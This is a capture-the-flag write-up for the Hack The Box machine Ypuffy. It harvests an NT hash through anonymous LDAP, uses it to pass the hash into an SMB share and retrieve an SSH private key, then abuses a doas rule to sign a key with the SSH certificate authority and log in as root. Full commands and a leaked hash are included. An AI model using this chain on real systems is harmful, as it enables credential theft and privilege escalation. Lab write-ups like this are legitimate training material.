TL;DR
An NT hash exposed through LDAP allowed authentication to a samba share with a pass the hash attack. The share contained a ssh private key that could be used to log in as alice1978. Through doas (the OpenBSD equivalent of sudo) Alice can run ssh-keygen as the user certificate authority. Combining this fact with knowing the root user's principal we can create a ssh key as Alice and then sign it with the certificate authority allowing us to simply ssh into the root user.
User
As ever a Nmap scan comes first.
# Nmap 7.70 scan initiated Wed Oct 17 10:14:38 2018 as: nmap -sV -sS -sC -o nmap.txt 10.10.10.107
Nmap scan report for 10.10.10.107
Host is up (0.080s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
|_tomcat-scan: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m37s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2018-10-17T10:15:03-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-10-17 10:15:03
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 17 10:15:22 2018 -- 1 IP address (1 host up) scanned in 43.49 secondsThis scan reveals 5 open ports:
22/tcp- ssh - This suggests we will be able to obtain access to the box via the secure shell protocol at some point and as such we will be looking to obtain credentials for authentication.80/tcp- http - There is anOpenBSD httpdserver running on this port however it doesn't respond to requests from a browser.139/tcpand445/tcp- NetBIOS - Anonymous login is not allowed so we will need credentials to enumerate further.389/tcp- ldap - Nmap has detectedAnonymous bindis allowed and this suggests thatldapis likely the starting point for this box.
ldap
As previously identified the ldap service has been configured to allow anonymous binds meaning anyone can connect and query potentially sensitive information about the system. To do this we can use the ldap-search Nmap script.
nmap -p 389 --script ldap-search 10.10.10.107
Nmap scan report for 10.10.10.107
Host is up (0.047s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001
Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds
As expected this provides us with some sensitive information. Most importantly that we a NT hash for user alice1978.
Passing the Hash
Now we could go about cracking the hash locally using a tool like Hashcat but due to the fact that the smb protocol falls victim to pass the hash style attacks, clients can be modified to authenticate with hashes without requiring the associated plain text password in essence making the hash the password defeating the purpose of a hash outright. As such we can use this hash and the smbclient command to authenticate with the server as user alice1978.
Once authenticated we can list the shares with the following command specifying the password as the obtained NT hash when prompted. The --pw-nt-hash option specifies that we intend to use a hash instead of a password to authenticate and -L lists the shares.
smbclient --pw-nt-hash -U alice1978 -L 10.10.10.107
Enter WORKGROUP\alice1978's password:
Sharename Type Comment
--------- ---- -------
alice Disk Alice's Windows Directory
IPC$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------Next, we connect to the alice share with the following command again specifying the password as the NT hash.
smbclient --pw-nt-hash -U alice1978 //10.10.10.107/alice
Enter WORKGROUP\alice1978's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jul 31 03:54:20 2018
.. D 0 Wed Jan 16 22:05:26 2019
my_private_key.ppk A 1460 Tue Jul 17 02:38:51 2018
433262 blocks of size 1024. 411530 blocks available
smb: \> get my_private_key.ppk
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \>After using the ls command to list the contents of the current file we see there is a file named my_private_key.ppk this is likely to allow us to ssh into the box so we download it with get my_private_key.ppk.
Upon closer inspection, the file is a private key however it is in the putty format and as such can't be used with the OpenSSH installed in my environment. This issue can be fixed by either using putty to connect to the server or by converting the key to the OpenSSH format. This is done with the following command. Where -O is the output format and -o is the output file.puttygen my_private_key.ppk -O private-openssh -o id_rsa_alice
Now we can open a connection to the server over ssh with the private key. The user.txt flag is in Alice's home directory as we would expect.
Root
As we can see from the banner displayed when we connect with ssh the box is running OpenBSD 6.3 this means that it doesn't have sudo and instead has doas (the OpenBSD equivalent). By checking the contents of the /etc/doas.conf file we can see how doas is configured.
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
ypuffy$From this, we can see that the user alice1978 can run ssh-keygen as userca.
Web Server
Remember the web server? No, well there was a web server that wouldn't respond to our requests. Looking at the /var/www/logs/access.log file we can see the only successful requests are the two below. It should be noted that the web server only responds to requests from the localhost so this explains why we received no response when we tried to connect from our client.
ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:14:19:07 -0500] "GET /sshauth?type=keys%26username=alice1978 HTTP/1.1" 200 0
ypuffy$ curl 'http://localhost/sshauth?type=keys&username=alice1978'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:17:58:43 -0500] "GET /sshauth?type=principals%26username=root HTTP/1.1" 200 0
ypuffy$ curl 'http://localhost/sshauth?type=principals&username=root'
3m3rgencyB4ckd00rFrom this, we obtain some form of rsa key relating to alice1978 and the root principal 3m3rgencyB4ckd00r.
ssh-keygen
At this point, it is clear from the things we have found that we are going to need to use ssh-keygen to obtain root. Looking at the man page for ssh-keygen there is only one example usage that involves a principal.
ssh-keygen -s ca_key -I certificate_identity [-h] [-U] [-D pkcs11_provider] [-n principals] [-O option] [-V validity_interval] [-z serial_number] file
Breaking this down:
- We don't want a host certificate (we want a user certificate) so we don't need
-h - The
ca_keyisn't stored in thessh-agentso we don't need-U - The
ca_keyisn't stored in aPKCS#11 tokenso we also don't need-D - We don't need any additional certificate options so
-Ocan be ignored - Seen as we are attacking this box we don't need to consider certificate expiry as such
-Vcan be ignored - Finally the default serial number is
0this is sufficient for our needs so we can also ignore-z
Putting in the information we know leaves us with ssh-keygen -s ca_key -I alice1978 -n 3m3rgencyB4ckd00r file
However, before we can run this we need to:
- Generate the key pair for
alice1978which will be signed. This is done withssh-keygen -f /tmp/alicesshkey - Locate the
ca_keyfile. This likely to be in the files ofusercaif we navigate there we see a file namedcathis is what we need.
Leaving us with ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey
We can now use doas combined with the above command to sign the created key pair as userca.
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey
Signed user key alicesshkey-cert.pub: id "alice1978" serial 0 for 3m3rgencyB4ckd00r valid foreverNow that we have the signed key we can simply ssh into the root user with said signed key.